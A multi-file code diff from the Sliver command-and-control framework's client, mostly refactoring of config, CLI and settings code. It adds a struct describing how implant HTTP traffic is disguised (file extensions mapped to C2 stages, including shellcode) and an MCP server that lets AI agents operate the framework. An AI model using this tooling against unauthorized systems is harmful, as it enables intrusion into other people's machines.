for _, config := range armoryConfigsFromFile {
|
||||
if config.Name == DefaultArmoryName {
|
||||
defaultArmorySpecified = true
|
||||
continue
|
||||
} else {
|
||||
armoryConfigs = append(armoryConfigs, config)
|
||||
}
|
||||
}
|
||||
if defaultArmorySpecified {
|
||||
armoryConfigs = append(armoryConfigs, DefaultArmoryConfig)
|
||||
}
|
||||
RefreshArmoryAuthorization(armoryConfigs)
|
||||
|
||||
return armoryConfigs
|
||||
}
|
||||
|
||||
func SaveArmoriesConfig(armories []*ArmoryConfig) error {
|
||||
configData, err := json.Marshal(armories)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
|
||||
err = os.WriteFile(armoryConfigPath, configData, 0640)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
|
||||
|
||||
+38
-3
@@ -20,7 +20,6 @@ package assets
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
@@ -50,9 +49,45 @@ func GetRootAppDir() string {
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/
|
||||
func GetClientLogsDir() string {
|
||||
logsDir := filepath.Join(GetRootAppDir(), "logs")
|
||||
if _, err := os.Stat(logsDir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(logsDir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return logsDir
|
||||
}
|
||||
|
||||
// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/
|
||||
func GetConsoleLogsDir() string {
|
||||
consoleLogsDir := filepath.Join(GetClientLogsDir(), "console")
|
||||
if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(consoleLogsDir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return consoleLogsDir
|
||||
}
|
||||
|
||||
// GetMCPLogsDir - Get the Sliver client MCP logs dir ~/.sliver-client/logs/mcp/
|
||||
func GetMCPLogsDir() string {
|
||||
mcpLogsDir := filepath.Join(GetClientLogsDir(), "mcp")
|
||||
if _, err := os.Stat(mcpLogsDir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(mcpLogsDir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return mcpLogsDir
|
||||
}
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
@@ -73,7 +108,7 @@ func Setup(force bool, echo bool) {
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
Sliver Copyright (C) 2025 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
type HTTPC2Config struct {
|
||||
ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
|
||||
ServerConfig HTTPC2ServerConfig `json:"server_config"`
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
type NameValueProbability struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Probability int `json:"probability"`
|
||||
Method string `json:"method"`
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
//
|
||||
// .js = poll
|
||||
//
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
ChromeBaseVersion int `json:"chrome_base_version"`
|
||||
MacOSVersion string `json:"macos_version"`
|
||||
|
||||
NonceQueryArgChars string `json:"nonce_query_args"`
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
NonceQueryLength int `json:"nonce_query_length"`
|
||||
NonceMode string `json:"nonce_mode"`
|
||||
|
||||
MaxFileGen int `json:"max_files"`
|
||||
MinFileGen int `json:"min_files"`
|
||||
MaxPathGen int `json:"max_paths"`
|
||||
MinPathGen int `json:"min_paths"`
|
||||
MaxPathLength int `json:"max_path_length"`
|
||||
MinPathLength int `json:"min_path_length"`
|
||||
|
||||
Extensions []string `json:"extensions"`
|
||||
Files []string `json:"files"`
|
||||
Paths []string `json:"paths"`
|
||||
}
|
||||
@@ -23,10 +23,9 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
@@ -51,7 +50,7 @@ func GetConfigDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, ConfigDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
err = os.MkdirAll(dir, 0o700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
@@ -62,7 +61,7 @@ func GetConfigDir() string {
|
||||
// GetConfigs - Returns a list of available configs
|
||||
func GetConfigs() map[string]*ClientConfig {
|
||||
configDir := GetConfigDir()
|
||||
configFiles, err := ioutil.ReadDir(configDir)
|
||||
configFiles, err := os.ReadDir(configDir)
|
||||
if err != nil {
|
||||
log.Printf("No configs found %v", err)
|
||||
return map[string]*ClientConfig{}
|
||||
@@ -70,8 +69,8 @@ func GetConfigs() map[string]*ClientConfig {
|
||||
|
||||
confs := map[string]*ClientConfig{}
|
||||
for _, confFile := range configFiles {
|
||||
confFilePath := path.Join(configDir, confFile.Name())
|
||||
log.Printf("Parsing config %s", confFilePath)
|
||||
confFilePath := filepath.Join(configDir, confFile.Name())
|
||||
// log.Printf("Parsing config %s", confFilePath)
|
||||
|
||||
conf, err := ReadConfig(confFilePath)
|
||||
if err != nil {
|
||||
@@ -91,7 +90,7 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
return nil, err
|
||||
}
|
||||
defer confFile.Close()
|
||||
data, err := ioutil.ReadAll(confFile)
|
||||
data, err := io.ReadAll(confFile)
|
||||
if err != nil {
|
||||
log.Printf("Read failed %v", err)
|
||||
return nil, err
|
||||
@@ -114,7 +113,7 @@ func SaveConfig(config *ClientConfig) error {
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
|
||||
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
|
||||
configJSON, _ := json.Marshal(config)
|
||||
err := ioutil.WriteFile(saveTo, configJSON, 0600)
|
||||
err := os.WriteFile(saveTo, configJSON, 0o600)
|
||||
if err != nil {
|
||||
log.Printf("Failed to write config to: %s (%v)", saveTo, err)
|
||||
return err
|
||||
|
||||
@@ -19,7 +19,6 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -46,7 +45,7 @@ func GetExtensionsDir() string {
|
||||
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
|
||||
func GetInstalledExtensionManifests() []string {
|
||||
extDir := GetExtensionsDir()
|
||||
extDirContent, err := ioutil.ReadDir(extDir)
|
||||
extDirContent, err := os.ReadDir(extDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
|
||||
@@ -20,7 +20,7 @@ package assets
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
@@ -36,12 +36,14 @@ type ClientSettings struct {
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode"`
|
||||
UserConnect bool `json:"user_connect"`
|
||||
ConsoleLogs bool `json:"console_logs"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
func LoadSettings() (*ClientSettings, error) {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
|
||||
data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
@@ -61,6 +63,7 @@ func defaultSettings() *ClientSettings {
|
||||
SmallTermWidth: 170,
|
||||
AlwaysOverflow: false,
|
||||
VimMode: false,
|
||||
ConsoleLogs: true,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -74,6 +77,6 @@ func SaveSettings(settings *ClientSettings) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
|
||||
err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0o600)
|
||||
return err
|
||||
}
|
||||
+13
-3
@@ -1,4 +1,14 @@
|
||||
CLI
|
||||
===
|
||||
# client/cli
|
||||
|
||||
This package implements the Sliver client cli.
|
||||
## Overview
|
||||
|
||||
Defines the Cobra root command and CLI initialization for the Sliver client binary. Sets up persistent flags, environment bootstrapping, and command wiring. Core logic addresses console, implant, import, and version within the cli package.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `cli.go` – Builds the root Cobra command, wires global flags, and starts the console UI.
|
||||
- `config.go` – Parses CLI configuration files and environment variables used during startup.
|
||||
- `console.go` – Launches the interactive console mode and handles profile selection.
|
||||
- `implant.go` – Implements CLI entry points for implant-specific operations without launching the console.
|
||||
- `import.go` – Provides import routines for bringing external state into the client (e.g., implants or loot).
|
||||
- `version.go` – Prints version/build information for the CLI binary.
|
||||
+39
-46
@@ -25,11 +25,8 @@ import (
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -37,14 +34,10 @@ const (
|
||||
logFileName = "sliver-client.log"
|
||||
)
|
||||
|
||||
var (
|
||||
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
)
|
||||
|
||||
// Initialize logging
|
||||
// Initialize logging.
|
||||
func initLogging(appDir string) *os.File {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
|
||||
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
|
||||
if err != nil {
|
||||
panic(fmt.Sprintf("[!] Error opening file: %s", err))
|
||||
}
|
||||
@@ -53,57 +46,57 @@ func initLogging(appDir string) *os.File {
|
||||
}
|
||||
|
||||
func init() {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
rootCmd.TraverseChildren = true
|
||||
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
// This created before anything so that multiple commands can make use of
|
||||
// the same underlying command/run infrastructure.
|
||||
con := console.NewConsole(false)
|
||||
|
||||
// Import
|
||||
rootCmd.AddCommand(cmdImport)
|
||||
rootCmd.AddCommand(importCmd())
|
||||
|
||||
// Version
|
||||
rootCmd.AddCommand(cmdVersion)
|
||||
|
||||
// Client console.
|
||||
// All commands and RPC connection are generated WITHIN the command RunE():
|
||||
// that means there should be no redundant command tree/RPC connections with
|
||||
// other command trees below, such as the implant one.
|
||||
rootCmd.AddCommand(consoleCmd(con))
|
||||
|
||||
// MCP stdio server.
|
||||
rootCmd.AddCommand(mcpCmd(con))
|
||||
|
||||
// Implant.
|
||||
// The implant command allows users to run commands on slivers from their
|
||||
// system shell. It makes use of pre-runners for connecting to the server
|
||||
// and binding sliver commands. These same pre-runners are also used for
|
||||
// command completion/filtering purposes.
|
||||
rootCmd.AddCommand(implantCmd(con))
|
||||
|
||||
// No subcommand invoked means starting the console.
|
||||
rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true)
|
||||
|
||||
// Completions
|
||||
carapace.Gen(rootCmd)
|
||||
}
|
||||
|
||||
var rootCmd = &cobra.Command{
|
||||
Use: "sliver-client",
|
||||
Short: "",
|
||||
Long: ``,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
os.Args = os.Args[:1] // Stops grumble from complaining
|
||||
err := StartClientConsole()
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
// StartClientConsole - Start the client console
|
||||
func StartClientConsole() error {
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
if config == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
|
||||
}
|
||||
|
||||
// Execute - Execute root command
|
||||
// Execute - Execute root command.
|
||||
func Execute() {
|
||||
if err := rootCmd.Execute(); err != nil {
|
||||
fmt.Println(err)
|
||||
fmt.Printf("root command: %s\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
+10
-27
@@ -23,12 +23,10 @@ import (
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
)
|
||||
|
||||
func selectConfig() *assets.ClientConfig {
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
|
||||
if len(configs) == 0 {
|
||||
@@ -41,33 +39,18 @@ func selectConfig() *assets.ClientConfig {
|
||||
}
|
||||
}
|
||||
|
||||
answer := struct{ Config string }{}
|
||||
qs := getPromptForConfigs(configs)
|
||||
err := survey.Ask(qs, &answer)
|
||||
keys := make([]string, 0, len(configs))
|
||||
for key := range configs {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
selection := keys[0]
|
||||
err := forms.Select("Select a server:", keys, &selection)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
return nil
|
||||
}
|
||||
|
||||
return configs[answer.Config]
|
||||
}
|
||||
|
||||
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
|
||||
|
||||
keys := []string{}
|
||||
for k := range configs {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
return []*survey.Question{
|
||||
{
|
||||
Name: "config",
|
||||
Prompt: &survey.Select{
|
||||
Message: "Select a server:",
|
||||
Options: keys,
|
||||
Default: keys[0],
|
||||
},
|
||||
},
|
||||
}
|
||||
return configs[selection]
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
)
|
||||
|
||||
// consoleCmd generates the console with required pre/post runners.
|
||||
func consoleCmd(con *console.SliverClient) *cobra.Command {
|
||||
consoleCmd := &cobra.Command{
|
||||
Use: "console",
|
||||
Short: "Start the sliver client console",
|
||||
}
|
||||
|
||||
consoleCmd.Flags().String(RCFlagName, "", "path to rc script file")
|
||||
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
|
||||
return consoleCmd
|
||||
}
|
||||
|
||||
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
pre = func(cmd *cobra.Command, _ []string) error {
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
if config == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
rcScript, err := ReadRCScript(cmd)
|
||||
if err != nil {
|
||||
fmt.Printf("Failed to read rc script: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Don't clobber output when simply running an implant command from system shell.
|
||||
if run {
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
}
|
||||
|
||||
var rpc rpcpb.SliverRPCClient
|
||||
|
||||
rpc, ln, err = transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Wait for any connection state changes and exit if the connection is lost.
|
||||
go handleConnectionLost(ln)
|
||||
|
||||
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
|
||||
}
|
||||
|
||||
// Close the RPC connection once exiting
|
||||
post = func(_ *cobra.Command, _ []string) error {
|
||||
if ln != nil {
|
||||
return ln.Close()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return pre, post
|
||||
}
|
||||
|
||||
func handleConnectionLost(ln *grpc.ClientConn) {
|
||||
currentState := ln.GetState()
|
||||
// currentState should be "Ready" when the connection is established.
|
||||
if ln.WaitForStateChange(context.Background(), currentState) {
|
||||
newState := ln.GetState()
|
||||
// newState will be "Idle" if the connection is lost.
|
||||
if newState == connectivity.Idle {
|
||||
fmt.Println("\nLost connection to server. Exiting now.")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
func implantCmd(con *console.SliverClient) *cobra.Command {
|
||||
con.IsCLI = true
|
||||
|
||||
makeCommands := command.SliverCommands(con)
|
||||
cmd := makeCommands()
|
||||
cmd.Use = constants.ImplantMenu
|
||||
|
||||
// Flags
|
||||
implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError)
|
||||
implantFlags.StringP("use", "s", "", "interact with a session")
|
||||
cmd.Flags().AddFlagSet(implantFlags)
|
||||
|
||||
// Pre-runners (console setup, connection, etc)
|
||||
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
|
||||
|
||||
// Completions
|
||||
makeCompleters(cmd, con)
|
||||
|
||||
return cmd
|
||||
}
|
||||
|
||||
func makeRunners(implantCmd *cobra.Command, con *console.SliverClient) (pre, post func(cmd *cobra.Command, args []string) error) {
|
||||
startConsole, closeConsole := consoleRunnerCmd(con, false)
|
||||
|
||||
// The pre-run function connects to the server and sets up a "fake" console,
|
||||
// so we can have access to active sessions/beacons, and other stuff needed.
|
||||
pre = func(_ *cobra.Command, args []string) error {
|
||||
startConsole(implantCmd, args)
|
||||
|
||||
// Set the active target.
|
||||
target, _ := implantCmd.Flags().GetString("use")
|
||||
if target == "" {
|
||||
return errors.New("no target implant to run command on")
|
||||
}
|
||||
|
||||
session := con.GetSession(target)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return pre, closeConsole
|
||||
}
|
||||
|
||||
func makeCompleters(cmd *cobra.Command, con *console.SliverClient) {
|
||||
comps := carapace.Gen(cmd)
|
||||
|
||||
comps.PreRun(func(cmd *cobra.Command, args []string) {
|
||||
cmd.PersistentPreRunE(cmd, args)
|
||||
})
|
||||
|
||||
// Bind completers to flags (wrap them to use the same pre-runners)
|
||||
command.BindFlagCompletions(cmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
cmd.PersistentPreRunE(cmd, c.Args)
|
||||
return use.SessionIDCompleter(con)
|
||||
})
|
||||
})
|
||||
}
|
||||
+26
-16
@@ -23,25 +23,35 @@ import (
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var cmdImport = &cobra.Command{
|
||||
Use: "import",
|
||||
Short: "Import a client configuration file",
|
||||
Long: `import [config files]`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if 0 < len(args) {
|
||||
for _, arg := range args {
|
||||
conf, err := assets.ReadConfig(arg)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
os.Exit(3)
|
||||
func importCmd() *cobra.Command {
|
||||
cmdImport := &cobra.Command{
|
||||
Use: "import",
|
||||
Short: "Import a client configuration file",
|
||||
Long: `import [config files]`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if 0 < len(args) {
|
||||
for _, arg := range args {
|
||||
conf, err := assets.ReadConfig(arg)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
os.Exit(3)
|
||||
}
|
||||
assets.SaveConfig(conf)
|
||||
}
|
||||
assets.SaveConfig(conf)
|
||||
} else {
|
||||
fmt.Printf("Missing config file path, see --help")
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("Missing config file path, see --help")
|
||||
}
|
||||
},
|
||||
},
|
||||
ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
return []string{}, cobra.ShellCompDirectiveDefault
|
||||
},
|
||||
}
|
||||
|
||||
carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration"))
|
||||
|
||||
return cmdImport
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
clientmcp "github.com/bishopfox/sliver/client/mcp"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func mcpCmd(con *console.SliverClient) *cobra.Command {
|
||||
mcpCmd := &cobra.Command{
|
||||
Use: "mcp",
|
||||
Short: "Start the MCP stdio server",
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
return runMCP(cmd, con)
|
||||
},
|
||||
}
|
||||
mcpCmd.Flags().String("config", "", "path to client config file")
|
||||
return mcpCmd
|
||||
}
|
||||
|
||||
func runMCP(cmd *cobra.Command, con *console.SliverClient) error {
|
||||
configPath, _ := cmd.Flags().GetString("config")
|
||||
config, err := loadMCPClientConfig(configPath)
|
||||
if err != nil {
|
||||
fmt.Printf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s\n", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
|
||||
con.Rpc = rpc
|
||||
go handleConnectionLost(ln)
|
||||
|
||||
cfg := clientmcp.DefaultConfig()
|
||||
if err := clientmcp.ServeStdio(cfg, con.Rpc); err != nil {
|
||||
fmt.Printf("MCP server error: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadMCPClientConfig(path string) (*assets.ClientConfig, error) {
|
||||
if path != "" {
|
||||
configPath := path
|
||||
if !filepath.IsAbs(configPath) {
|
||||
if _, err := os.Stat(configPath); err != nil {
|
||||
configPath = filepath.Join(assets.GetConfigDir(), configPath)
|
||||
}
|
||||
}
|
||||
return assets.ReadConfig(configPath)
|
||||
}
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
switch len(configs) {
|
||||
case 0:
|
||||
return nil, fmt.Errorf("no config files found at %s (use --config)", assets.GetConfigDir())
|
||||
case 1:
|
||||
for _, config := range configs {
|
||||
return config, nil
|
||||
}
|
||||
default:
|
||||
return nil, fmt.Errorf("multiple configs found; use --config to select one")
|
||||
}
|
||||
return nil, fmt.Errorf("no config files found")
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const RCFlagName = "rc"
|
||||
|
||||
func ReadRCScript(cmd *cobra.Command) (string, error) {
|
||||
if cmd == nil {
|
||||
return "", nil
|
||||
}
|
||||
if cmd.Flags().Lookup(RCFlagName) == nil {
|
||||
return "", nil
|
||||
}
|
||||
rcPath, err := cmd.Flags().GetString(RCFlagName)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if rcPath == "" {
|
||||
return "", nil
|
||||
}
|
||||
data, err := os.ReadFile(rcPath)
|
||||
if err != nil {
|
